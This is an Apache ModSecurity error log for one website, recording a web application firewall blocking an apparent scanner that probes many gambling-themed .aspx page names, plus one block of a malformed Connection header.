[Thu Apr 02 12:21:25.424775 2026] [:error] [pid 59201:tid 59284] [client 51.75.119.168:58638] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "ac3uxcAC0Tw8eL6gzZ7DNAAAAJE"]
[Thu Apr 02 12:21:28.133283 2026] [:error] [pid 59305:tid 59316] [client 51.75.119.168:43978] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "ac3uyKr2tV4rDwKFxKeUOAAAAMc"]
[Thu Apr 02 12:21:30.746169 2026] [:error] [pid 59305:tid 59327] [client 51.75.119.168:43986] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "ac3uyqr2tV4rDwKFxKeUPAAAANI"]
[Thu Apr 02 12:21:33.502958 2026] [:error] [pid 54384:tid 54408] [client 51.75.119.168:43994] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "ac3uzdWWpaby3TVN7MeAUwAAAdY"]
[Thu Apr 02 16:19:36.320054 2026] [:error] [pid 59305:tid 59309] [client 43.155.140.157:54412] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac4mmKr2tV4rDwKFxKcWzAAAAMA"]
[Thu Apr 02 18:08:22.983009 2026] [:error] [pid 23927:tid 23937] [client 51.75.119.161:39960] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ac5AFksZwqCndhl9uKB8eQAAAYg"]
[Thu Apr 02 18:08:24.794063 2026] [:error] [pid 54384:tid 54402] [client 51.75.119.161:48670] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ac5AGNWWpaby3TVN7MfmbgAAAdA"]
[Thu Apr 02 18:08:26.742124 2026] [:error] [pid 59305:tid 59329] [client 51.75.119.161:58062] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ac5AGqr2tV4rDwKFxKdH1wAAANQ"]
[Thu Apr 02 18:08:28.618976 2026] [:error] [pid 29467:tid 29489] [client 51.75.119.161:58078] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ac5AHL4VUBFCJAq-WOkklwAAARM"]
[Thu Apr 02 18:08:30.528479 2026] [:error] [pid 37543:tid 37566] [client 51.75.119.161:58092] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ac5AHnhdk2bEYJCvILa6NgAAAVU"]
[Thu Apr 02 18:08:32.437910 2026] [:error] [pid 23927:tid 23941] [client 51.75.119.161:58102] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ac5AIEsZwqCndhl9uKB8igAAAYw"]
[Thu Apr 02 18:08:34.318077 2026] [:error] [pid 59201:tid 59269] [client 51.75.119.161:58112] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ac5AIsAC0Tw8eL6gzZ7_NwAAAII"]
[Thu Apr 02 18:08:36.228895 2026] [:error] [pid 29467:tid 29479] [client 51.75.119.161:40044] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ac5AJL4VUBFCJAq-WOkkqgAAAQk"]
[Thu Apr 02 18:08:38.288750 2026] [:error] [pid 54384:tid 54392] [client 51.75.119.161:40050] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ac5AJtWWpaby3TVN7MfmfgAAAcY"]
[Thu Apr 02 18:08:40.337717 2026] [:error] [pid 23927:tid 23945] [client 51.75.119.161:40066] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ac5AKEsZwqCndhl9uKB8oQAAAZA"]
[Thu Apr 02 18:08:42.384612 2026] [:error] [pid 29467:tid 29471] [client 51.75.119.161:40078] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ac5AKr4VUBFCJAq-WOkkswAAAQE"]
[Thu Apr 02 18:08:44.433629 2026] [:error] [pid 23927:tid 23943] [client 51.75.119.161:40088] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ac5ALEsZwqCndhl9uKB8sgAAAY4"]
[Thu Apr 02 18:08:46.474857 2026] [:error] [pid 23927:tid 23936] [client 51.75.119.161:45086] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ac5ALksZwqCndhl9uKB8twAAAYc"]
[Thu Apr 02 18:08:48.532629 2026] [:error] [pid 59305:tid 59326] [client 51.75.119.161:45094] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ac5AMKr2tV4rDwKFxKdH_gAAANE"]
[Thu Apr 02 18:08:50.396432 2026] [:error] [pid 29467:tid 29492] [client 51.75.119.161:45096] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ac5AMr4VUBFCJAq-WOkkuwAAARY"]
[Thu Apr 02 18:08:52.281655 2026] [:error] [pid 59200:tid 59252] [client 51.75.119.161:45110] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ac5ANLfP26txrdLs3EpcwQAAAEw"]
[Thu Apr 02 18:08:54.023636 2026] [:error] [pid 23927:tid 23929] [client 51.75.119.161:45120] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ac5ANksZwqCndhl9uKB8xQAAAYA"]
[Thu Apr 02 18:08:56.071926 2026] [:error] [pid 59194:tid 59217] [client 51.75.119.161:34418] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ac5AOBMpAeV11hcQehwwaAAAAAQ"]
[Thu Apr 02 18:08:58.110552 2026] [:error] [pid 59201:tid 59287] [client 51.75.119.161:34420] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ac5AOsAC0Tw8eL6gzZ7_VwAAAJQ"]
[Thu Apr 02 18:09:00.141464 2026] [:error] [pid 54384:tid 54408] [client 51.75.119.161:34430] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ac5APNWWpaby3TVN7MfmjwAAAdY"]
[Thu Apr 02 18:09:02.178320 2026] [:error] [pid 59194:tid 59237] [client 51.75.119.161:34436] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ac5APhMpAeV11hcQehwwgwAAABg"]
[Thu Apr 02 18:09:04.065840 2026] [:error] [pid 59200:tid 59240] [client 51.75.119.161:34442] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ac5AQLfP26txrdLs3EpczwAAAEA"]
[Thu Apr 02 18:09:06.088487 2026] [:error] [pid 59200:tid 59261] [client 51.75.119.161:52326] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ac5AQrfP26txrdLs3Epc0gAAAFU"]
[Thu Apr 02 18:09:08.100512 2026] [:error] [pid 29467:tid 29492] [client 51.75.119.161:52332] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ac5ARL4VUBFCJAq-WOkk1QAAARY"]
[Thu Apr 02 18:09:09.986983 2026] [:error] [pid 29467:tid 29485] [client 51.75.119.161:52338] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ac5ARb4VUBFCJAq-WOkk4QAAAQ8"]
[Thu Apr 02 18:09:11.889254 2026] [:error] [pid 29467:tid 29480] [client 51.75.119.161:52344] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ac5AR74VUBFCJAq-WOkk7wAAAQo"]
[Thu Apr 02 18:09:13.917855 2026] [:error] [pid 54384:tid 54389] [client 51.75.119.161:52350] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ac5ASdWWpaby3TVN7MfmogAAAcM"]
[Thu Apr 02 18:09:15.951616 2026] [:error] [pid 23927:tid 23947] [client 51.75.119.161:42252] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ac5AS0sZwqCndhl9uKB9AwAAAZI"]
[Thu Apr 02 18:09:17.828393 2026] [:error] [pid 23927:tid 23929] [client 51.75.119.161:42258] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ac5ATUsZwqCndhl9uKB9DAAAAYA"]
[Thu Apr 02 18:09:52.014774 2026] [:error] [pid 59305:tid 59321] [client 51.75.119.161:42272] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ac5AcKr2tV4rDwKFxKdI1AAAAMw"]
[Thu Apr 02 18:09:53.974661 2026] [:error] [pid 59201:tid 59267] [client 51.75.119.161:35834] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ac5AccAC0Tw8eL6gzZ7_mAAAAIA"]
[Thu Apr 02 18:09:55.977921 2026] [:error] [pid 29467:tid 29480] [client 51.75.119.161:55130] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ac5Ac74VUBFCJAq-WOklagAAAQo"]
[Thu Apr 02 18:09:57.987251 2026] [:error] [pid 59305:tid 59323] [client 51.75.119.161:55134] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ac5Adar2tV4rDwKFxKdI4gAAAM4"]
[Thu Apr 02 18:10:00.010109 2026] [:error] [pid 59305:tid 59315] [client 51.75.119.161:55148] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ac5AeKr2tV4rDwKFxKdI7QAAAMY"]
[Thu Apr 02 18:10:01.886908 2026] [:error] [pid 59305:tid 59320] [client 51.75.119.161:55160] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ac5Aear2tV4rDwKFxKdI9wAAAMs"]
[Thu Apr 02 18:10:03.929099 2026] [:error] [pid 23927:tid 23931] [client 51.75.119.161:55174] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ac5Ae0sZwqCndhl9uKB9XQAAAYI"]
[Thu Apr 02 18:10:05.781054 2026] [:error] [pid 29467:tid 29481] [client 51.75.119.161:34062] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ac5Afb4VUBFCJAq-WOklhAAAAQs"]
[Thu Apr 02 18:10:07.797426 2026] [:error] [pid 23927:tid 23947] [client 51.75.119.161:34070] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ac5Af0sZwqCndhl9uKB9ZAAAAZI"]
[Thu Apr 02 18:10:09.814065 2026] [:error] [pid 59200:tid 59257] [client 51.75.119.161:34084] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ac5AgbfP26txrdLs3Epc-QAAAFE"]
[Thu Apr 02 18:10:11.857079 2026] [:error] [pid 59194:tid 59234] [client 51.75.119.161:34098] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ac5AgxMpAeV11hcQehwwrwAAABU"]
[Thu Apr 02 18:10:13.719479 2026] [:error] [pid 29467:tid 29484] [client 51.75.119.161:34100] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ac5Ahb4VUBFCJAq-WOklowAAAQ4"]
[Thu Apr 02 18:10:15.739707 2026] [:error] [pid 37543:tid 37556] [client 51.75.119.161:40846] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ac5Ah3hdk2bEYJCvILa6rQAAAUs"]
[Thu Apr 02 18:10:17.753188 2026] [:error] [pid 29467:tid 29488] [client 51.75.119.161:40848] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ac5Aib4VUBFCJAq-WOkl3QAAARI"]
[Thu Apr 02 18:10:19.631127 2026] [:error] [pid 59305:tid 59311] [client 51.75.119.161:40860] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ac5Ai6r2tV4rDwKFxKdJDgAAAMI"]
[Thu Apr 02 18:10:21.645896 2026] [:error] [pid 59200:tid 59255] [client 51.75.119.161:40866] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ac5AjbfP26txrdLs3EpdEAAAAE8"]
[Thu Apr 02 18:10:23.674197 2026] [:error] [pid 59305:tid 59318] [client 51.75.119.161:40880] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ac5Aj6r2tV4rDwKFxKdJFwAAAMk"]
[Thu Apr 02 18:10:25.541760 2026] [:error] [pid 59200:tid 59260] [client 51.75.119.161:37472] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ac5AkbfP26txrdLs3EpdFQAAAFQ"]
[Thu Apr 02 18:10:27.568337 2026] [:error] [pid 23927:tid 23943] [client 51.75.119.161:37484] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac5Ak0sZwqCndhl9uKB9iQAAAY4"]
[Thu Apr 02 18:10:29.578482 2026] [:error] [pid 37543:tid 37557] [client 51.75.119.161:37496] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ac5AlXhdk2bEYJCvILa6uAAAAUw"]
[Thu Apr 02 18:10:31.588687 2026] [:error] [pid 59201:tid 59273] [client 51.75.119.161:37502] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ac5Al8AC0Tw8eL6gzZ7_uAAAAIY"]
